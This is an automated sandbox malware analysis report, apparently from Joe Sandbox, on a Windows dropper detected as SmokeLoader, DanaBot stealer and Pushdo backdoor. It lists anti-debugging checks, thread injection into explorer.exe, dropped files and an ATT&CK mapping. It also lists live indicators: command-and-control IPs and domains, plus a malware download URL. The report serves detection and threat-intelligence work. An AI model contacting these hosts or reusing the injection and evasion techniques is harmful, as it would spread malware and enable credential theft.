Source: explorer.exe, 00000001.00000000.287124290.0000000008FD3000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\file.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgtrtas	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_023D092B mov eax, dword ptr fs:[00000030h]	0_2_023D092B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_023D0D90 mov eax, dword ptr fs:[00000030h]	0_2_023D0D90
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: 13_2_0040AEA4 mov eax, dword ptr fs:[00000030h]	13_2_0040AEA4
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: 13_2_00407D21 mov eax, dword ptr fs:[00000030h]	13_2_00407D21
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: 13_2_0220092B mov eax, dword ptr fs:[00000030h]	13_2_0220092B
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: 13_2_0220B10B mov eax, dword ptr fs:[00000030h]	13_2_0220B10B
Source: C:\Users\user\AppData\Local\Temp\D02D.exe	Code function: 13_2_02200D90 mov eax, dword ptr fs:[00000030h]	13_2_02200D90

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgtrtas	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D02D.exe

Code function: 13_2_0040803E GetProcessHeap,HeapAlloc,

13_2_0040803E

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402945 LdrLoadDll,

0_2_00402945

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: perficut.at
Source: C:\Windows\explorer.exe	Network Connect: 37.234.187.254 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.106.124.133 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: h167471.srv11.test-hf.su
Source: C:\Windows\explorer.exe	Network Connect: 190.114.9.88 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 79.102.150.149 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 211.171.233.126 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: beg.com.ve
Source: C:\Windows\explorer.exe	Network Connect: 187.209.149.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 210.182.29.70 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 190.140.74.43 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 91.227.16.11 80	Jump to behavior

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: rgtrtas.1.dr

Jump to dropped file

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgtrtas	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgtrtas	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\file.exe	Thread created: C:\Windows\explorer.exe EIP: 57919A0			Jump to behavior
Source: C:\Users\user\AppData\Roaming\rgtrtas	Thread created: unknown EIP: 58B19A0			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\D02D.exe

Code function: 13_2_004082B6 CheckTokenMembership,AllocateAndInitializeSid,FreeSid,

13_2_004082B6

Source: explorer.exe, 00000001.00000000.276590521.0000000001980000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program ManagerT7<=ge
Source: explorer.exe, 00000001.00000000.287124290.00000000090D8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.280997363.0000000006770000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.276590521.0000000001980000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.276590521.0000000001980000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.276098840.0000000001378000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CProgmanile
Source: explorer.exe, 00000001.00000000.276590521.0000000001980000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\AppData\Local\Temp\EF7A.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: EF7A.exe, 0000000C.00000003.397161746.000000007F700000.00000004.00001000.00020000.00000000.sdmp, Ruifriwreh.dll.12.dr	Binary or memory string: MSASCui.exe
Source: EF7A.exe, 0000000C.00000003.397161746.000000007F700000.00000004.00001000.00020000.00000000.sdmp, Ruifriwreh.dll.12.dr	Binary or memory string: mcupdate.exe

Stealing of Sensitive Information

Yara detected DanaBot stealer dll

Source: Yara match	File source: 12.3.EF7A.exe.30f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.EF7A.exe.30f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000003.393821352.00000000030F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.306933623.00000000023E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.385075988.0000000002401000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.385012924.00000000023E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.306962028.0000000002401000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Backdoor Pushdo

Source: Yara match	File source: 21.2.DFC9.exe.1060000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.DFC9.exe.1060000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000002.553332019.0000000001060000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected DanaBot stealer dll

Source: Yara match	File source: 12.3.EF7A.exe.30f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.3.EF7A.exe.30f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000003.393821352.00000000030F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected SmokeLoader

Source: Yara match	File source: 00000000.00000002.306933623.00000000023E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.385075988.0000000002401000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.385012924.00000000023E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.306962028.0000000002401000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Obfuscated Files or Information	11 Input Capture	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Exploitation for Client Execution	1 Bootkit	32 Process Injection	31 Software Packing	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	11 Input Capture	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 File Deletion	NTDS	341 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	124 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	121 Masquerading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	141 Virtualization/Sandbox Evasion	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	32 Process Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Hidden Files and Directories	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Bootkit	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	36%	ReversingLabs	Win32.Dropper.Generic
file.exe	33%	Virustotal		Browse
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\Ruifriwreh.dll	100%	Joe Sandbox ML
C:\Users\user\pigalicapi.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\EF7A.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DFC9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\D02D.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\rgtrtas	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DFC9.exe	21%	ReversingLabs
C:\Users\user\AppData\Roaming\rgtrtas	36%	ReversingLabs	Win32.Dropper.Generic
C:\Users\user\pigalicapi.exe	21%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
21.2.DFC9.exe.1060000.2.unpack	100%	Avira	TR/Spy.Gen	Download File
11.3.rgtrtas.23e0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.3.file.exe.23e0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.2.DFC9.exe.1440000.3.unpack	100%	Avira	TR/Patched.Gen	Download File
0.2.file.exe.23d0e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.2.D02D.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.2.rgtrtas.850e67.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.2.D02D.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.file.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
11.2.rgtrtas.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.2.D02D.exe.24a212c.2.unpack	100%	Avira	TR/Patched.Ren.Gen7	Download File
21.2.DFC9.exe.106e290.1.unpack	100%	Avira	TR/Downloader.Gen	Download File
21.2.DFC9.exe.380000.0.unpack	100%	Avira	TR/ATRAPS.Gen4	Download File
21.0.DFC9.exe.380000.0.unpack	100%	Avira	TR/ATRAPS.Gen4	Download File

Domains

Source	Detection	Scanner	Link
www.tvtools.fi	1%	Virustotal	Browse
www.fcwcvt.org	1%	Virustotal	Browse
www.stnic.co.uk	0%	Virustotal	Browse
www.jacomfg.com	3%	Virustotal	Browse
waldi.pl	3%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://www.item-pr.com/d	0%	Avira URL Cloud	safe
http://23.106.124.133/totti.exe	100%	URL Reputation	malware
http://www.vazir.se/=	0%	Avira URL Cloud	safe
http://rutobacco.ru/tmp/	0%	Avira URL Cloud	safe
http://www.stajum.com/	0%	Avira URL Cloud	safe
http://www.myropcb.com/why-use-myro/awards-certificates/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/uploads/the7-css/compatibility/wc-dt-custom.css?ver=899328ee298e	0%	Avira URL Cloud	safe
http://www.holleman.us/	0%	Avira URL Cloud	safe
http://www.762justice.com	0%	Avira URL Cloud	safe
https://www.pcgrate.com/#webpage	0%	Avira URL Cloud	safe
http://www.valdal.com/	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/fpc-flexible-printed-circuits/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/style.css?ve	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/webpack-pro.runtime.min.js?ver=3.3.	0%	Avira URL Cloud	safe
http://www.myropcb.com/#website	0%	Avira URL Cloud	safe
http://www.valselit.com/?s=	0%	Avira URL Cloud	safe
http://www.mobilnic.net/alone/alone.php?id=62	0%	Avira URL Cloud	safe
http://www.valselit.com/189-appartement-a-vendre-ajaccio-41880	0%	Avira URL Cloud	safe
https://www.pwd.org/	0%	Avira URL Cloud	safe
http://www.petsfan.com/h1	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/price-slider_33.js?ver=1.	0%	Avira URL Cloud	safe
http://www.fcwcvt.org/~1oN	0%	Avira URL Cloud	safe
http://www.myropcb.com/wp-content/themes/thematic/library/scripts/supersubs.js	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woo-rfq-for-woocommerce/gpls_assets/js/gpls_woo_rfq.js?ver	0%	Avira URL Cloud	safe
http://www.mobilnic.net/alone/alone.php?id=60	0%	Avira URL Cloud	safe
https://www.pcgrate.com/comments/feed/	0%	Avira URL Cloud	safe
http://www.pupi.cz/r	0%	Avira URL Cloud	safe
https://www.aevga.com/	0%	Avira URL Cloud	safe
http://www.valselit.com/174-appartement-a-vendre-grenoble-30514	0%	Avira URL Cloud	safe
https://www.pcgrate.com/?s=	0%	Avira URL Cloud	safe
http://www.mobilnic.net/alone/alone.php?id=61	0%	Avira URL Cloud	safe
http://www.mobilnic.net/alone/alone.php?id=25	0%	Avira URL Cloud	safe
http://www.c9dd.com/	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/pcb-restoration/	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/stencil/	0%	Avira URL Cloud	safe
http://www.abdg.com/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/frontend.min.js?ver=3.3.1	0%	Avira URL Cloud	safe
http://www.naoi-a.com/	0%	Avira URL Cloud	safe
http://www.mobilnic.net/product/show_product.php?id=683	0%	Avira URL Cloud	safe
http://www.mobilnic.net/product/show_product.php?id=686	0%	Avira URL Cloud	safe
http://www.depalo.com/Z7	0%	Avira URL Cloud	safe
http://www.mobilnic.net/product/show_product.php?id=684	0%	Avira URL Cloud	safe
http://www.mobilnic.net/product/show_product.php?id=685	0%	Avira URL Cloud	safe
http://www.valselit.com/177-appartement-a-vendre-sigean-30378	0%	Avira URL Cloud	safe
http://www.mobilnic.net/product/show_product.php?id=687	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/front.js?ver=1.3.7	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=5.5.	0%	Avira URL Cloud	safe
http://www.myropcb.com/why-use-myro/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.10.0)	0%	Avira URL Cloud	safe
http://gholographic.com/	0%	Avira URL Cloud	safe
http://www.quadlock.com/5K	0%	Avira URL Cloud	safe
http://www.valselit.com/astuces	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/themes/dt-the7/js/main.min.js?ver=9.12.0	0%	Avira URL Cloud	safe
https://tickets.suresupport.com/faq/article-1596/en	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/uploads/elementor/css/post-1009.css?ver=1670679061	0%	Avira URL Cloud	safe
http://www.domon.com/	0%	Avira URL Cloud	safe
https://www.ora-ito.com/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/themes/dt-the7/lib/jquery-mousewheel/jquery-mousewheel.min.js?ver=	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/uploads/the7-css/css-vars.css?ver=899328ee298e	0%	Avira URL Cloud	safe
http://www.myropcb.com/services-capabilities/pcba-services/	0%	Avira URL Cloud	safe
http://www.pupi.cz/9	0%	Avira URL Cloud	safe
http://myropcb.com/login/	0%	Avira URL Cloud	safe
http://www.mobilnic.net/upload/img/202106301820427029.jpg	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-gdpr.css?ver=2.	0%	Avira URL Cloud	safe
http://www.winhui.cn/template/default/img/fixedimg4.png	0%	Avira URL Cloud	safe
http://www.evcpa.com/&2	0%	Avira URL Cloud	safe
https://www.pcgrate.com/wp-content/uploads/bae_systems-1.png	0%	Avira URL Cloud	safe
http://www.item-pr.com/	0%	Avira URL Cloud	safe
http://www.mobilnic.net/alone/alone.php?id=8	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woo-discount-rules/v2/Assets/Js/site_main.js?ver=2.3.7	0%	Avira URL Cloud	safe
http://www.petsfan.com/L1	0%	Avira URL Cloud	safe
http://www.ora-ito.com/	0%	Avira URL Cloud	safe
http://www.valselit.com/wp-content/uploads/2022/12/image_20210920_231753_527-1024x682.jpg	0%	Avira URL Cloud	safe
https://www.naoi-a.com/	0%	Avira URL Cloud	safe
http://www.olras.com/	0%	Avira URL Cloud	safe
http://www.jenco.co.uk/e	0%	Avira URL Cloud	safe
http://www.myropcb.com/why-use-myro/terms-of-service/	0%	Avira URL Cloud	safe
http://pcgrate.com/	0%	Avira URL Cloud	safe
http://www.pcgrate.com	0%	Avira URL Cloud	safe
https://pcgrate.com/wp-content/uploads/woocommerce_uploads/logo-sdw6o6.gif	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce-pdf-catalog/public/css/woocommerce-pdf-catalog	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/share-link/share-link.min.js?ver=3.3.	0%	Avira URL Cloud	safe
http://www.myropcb.com#webpage	0%	Avira URL Cloud	safe
http://www.myropcb.com/wp-content/themes/framePCB/images/shopping_car.png	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/jquery-ui-touch-punch/jquery-ui-touc	0%	Avira URL Cloud	safe
http://www.x0c.com/&HON	0%	Avira URL Cloud	safe
http://www.mobilnic.net/upload/img/201905280859514872.png	0%	Avira URL Cloud	safe
https://www.pcgrate.com	0%	Avira URL Cloud	safe
https://www.pcgrate.com/wp-json/wp/v2/pages/1009	0%	Avira URL Cloud	safe
http://www.myropcb.com/why-use-myro/satisfaction-guarantee/	0%	Avira URL Cloud	safe
http://www.myropcb.com/testimonial/	0%	Avira URL Cloud	safe
http://www.valselit.com/wp-content/themes/internet-provider/css/fontawesome-all.css?ver=6.0.3	0%	Avira URL Cloud	safe
http://www.jenco.co.uk/	0%	Avira URL Cloud	safe
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?ve	0%	Avira URL Cloud	safe
http://www.mobilnic.net/alone/alone.php?id=67	0%	Avira URL Cloud	safe
http://www.mobilnic.net/upload/img/201905280901053168.png	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.tvtools.fi	172.67.152.159	true	false	1%, Virustotal, Browse	unknown
www.fcwcvt.org	188.114.96.3	true	false	1%, Virustotal, Browse	unknown
www.stnic.co.uk	77.68.50.105	true	false	0%, Virustotal, Browse	unknown
hdr-nlb5-4e815dd67a14bf7f.elb.us-east-2.amazonaws.com	3.130.204.160	true	false		high
waldi.pl	46.242.238.60	true	false	3%, Virustotal, Browse	unknown
www.jacomfg.com	96.127.180.42	true	false	3%, Virustotal, Browse	unknown
evcpa.com	192.124.249.10	true	false		unknown
www.yocinc.org	66.94.119.160	true	false		unknown
www.photo4b.com	195.78.66.50	true	false		unknown
www.jenco.co.uk	172.67.208.67	true	false		unknown
www.credo.edu.pl	62.122.190.121	true	false		unknown
hummer.hu	185.80.51.179	true	false		unknown
synetik.net	193.166.255.171	true	false		unknown
www.mobilnic.net	154.203.14.100	true	false		unknown
www.pupi.cz	103.224.182.241	true	false		unknown
hibu34.inregion.waas.oci.oraclecloud.net	147.154.0.23	true	false		unknown
www.c9dd.com	188.166.152.188	true	false		unknown
www.vitaindu.com	122.128.109.107	true	false		unknown
aevga.com	108.167.164.216	true	false		unknown
www.ora-ito.com	213.186.33.40	true	false		unknown
www.holleman.us	51.79.51.72	true	false		unknown
ora.ecnet.jp	60.43.154.138	true	false		high
www.edimart.hu	81.2.194.241	true	false		unknown
beg.com.ve	190.114.9.88	true	true		unknown
hdr-nlb8-39c51fa8696874ee.elb.us-east-1.amazonaws.com	52.86.6.113	true	false		high
www.wifi4all.nl	188.114.97.3	true	false		unknown
www.wnsavoy.com	96.91.204.114	true	false		unknown
www.dayvo.com	188.114.97.3	true	false		unknown
www.olras.com	80.93.82.33	true	false		unknown
www.jchysk.com	208.97.178.138	true	false		unknown
www.stajum.com	103.3.1.161	true	false		unknown
ghs.googlehosted.com	142.250.203.115	true	false		unknown
hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com	54.161.222.85	true	false		high
quadlock.com	70.39.251.249	true	false		unknown
abart.pl	89.161.163.246	true	false		unknown
www.myropcb.com	74.208.215.199	true	false		unknown
td-ccm-168-233.wixdns.net	34.117.168.233	true	false		unknown
crcsi.org	165.227.252.190	true	false		unknown
perficut.at	190.140.74.43	true	true		unknown
www.usadig.com	198.100.146.220	true	false		unknown
www.abdg.com	192.252.154.18	true	false		unknown
www.snugpak.com	172.67.165.62	true	false		high
xaicom.es	188.165.133.163	true	false		unknown
shops.myshopify.com	23.227.38.74	true	false		unknown
h167471.srv11.test-hf.su	91.227.16.11	true	true		unknown
www.gpthink.com	39.99.233.155	true	false		unknown
www.speelhal.net	217.19.237.54	true	false		unknown
pwd.org	208.109.214.162	true	false		unknown
hdr-nlb4-0bbd2e21834cb637.elb.us-east-2.amazonaws.com	3.19.116.195	true	false		high
www.vazir.se	206.191.152.37	true	false		unknown
www.naoi-a.com	202.254.236.40	true	false		unknown
www.yoruksut.com	93.187.206.66	true	false		unknown
www.t-tre.com	135.181.73.98	true	false		unknown
www.valselit.com	193.70.68.254	true	false		unknown
2print.com	107.180.98.101	true	false		unknown
www.pr-park.com	118.27.125.181	true	false		unknown
studyrussian.com	80.74.154.6	true	false		unknown
www.otena.com	3.64.163.50	true	false		unknown
item-pr.com	185.15.129.58	true	false		unknown
www.valdal.com	104.26.7.221	true	false		unknown
www.fink.com	69.163.218.51	true	false		unknown
dgmna.com	192.124.249.20	true	false		unknown
fnw.us	137.118.26.67	true	false		unknown
www.rs-ag.com	188.114.97.3	true	false		unknown
www.mqs.com.br.cdn.gocache.net	170.82.173.30	true	false		unknown
www.x0c.com	185.53.177.50	true	false		unknown
www.nelipak.nl	82.201.61.230	true	false		unknown
www.pcgrate.com	172.67.201.26	true	false		unknown
www.findbc.com	13.248.216.40	true	false		unknown
d2kt7vovxa5e81.cloudfront.net	108.156.2.39	true	false		high
baijaku.com	59.106.19.204	true	false		unknown
www.elpro.si	104.26.15.53	true	false		unknown
www.dgmna.com	unknown	unknown	true		unknown
www.owsports.ca	unknown	unknown	true		unknown
www.pdqhomes.com	unknown	unknown	true		unknown
www.alteor.cl	unknown	unknown	true		unknown
www.iamdirt.com	unknown	unknown	true		unknown
www.transsib.com	unknown	unknown	true		unknown
www.netcr.com	unknown	unknown	true		unknown
www.petsfan.com	unknown	unknown	true		unknown
www.ora.ecnet.jp	unknown	unknown	false		high
www.fnw.us	unknown	unknown	true		unknown
www.synetik.net	unknown	unknown	true		unknown
www.aevga.com	unknown	unknown	true		unknown
www.medisa.info	unknown	unknown	true		unknown
www.nqks.com	unknown	unknown	true		unknown
www.pwd.org	unknown	unknown	true		unknown
www.xaicom.es	unknown	unknown	true		unknown
www.yumgiskor.kz	unknown	unknown	true		unknown
www.lrsuk.com	unknown	unknown	true		unknown
www.2print.com	unknown	unknown	true		unknown
www.baijaku.com	unknown	unknown	true		unknown
www.wkhk.net	unknown	unknown	true		unknown
www.quadlock.com	unknown	unknown	true		unknown
www.crcsi.org	unknown	unknown	true		unknown
www.udesign.biz	unknown	unknown	true		unknown
www.evcpa.com	unknown	unknown	true		unknown
www.depalo.com	unknown	unknown	true		unknown
www.item-pr.com	unknown	unknown	true		unknown
www.waldi.pl	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://rutobacco.ru/tmp/	true	Avira URL Cloud: safe	unknown
http://23.106.124.133/totti.exe	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.valdal.com/	DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.item-pr.com/d	DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/style.css?ve	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/services-capabilities/fpc-flexible-printed-circuits/	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.762justice.com	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.vazir.se/=	DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/#webpage	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.holleman.us/	DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/uploads/the7-css/compatibility/wc-dt-custom.css?ver=899328ee298e	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.stajum.com/	DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/why-use-myro/awards-certificates/	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valselit.com/?s=	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/wp-content/themes/thematic/library/scripts/supersubs.js	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/webpack-pro.runtime.min.js?ver=3.3.	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/#website	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
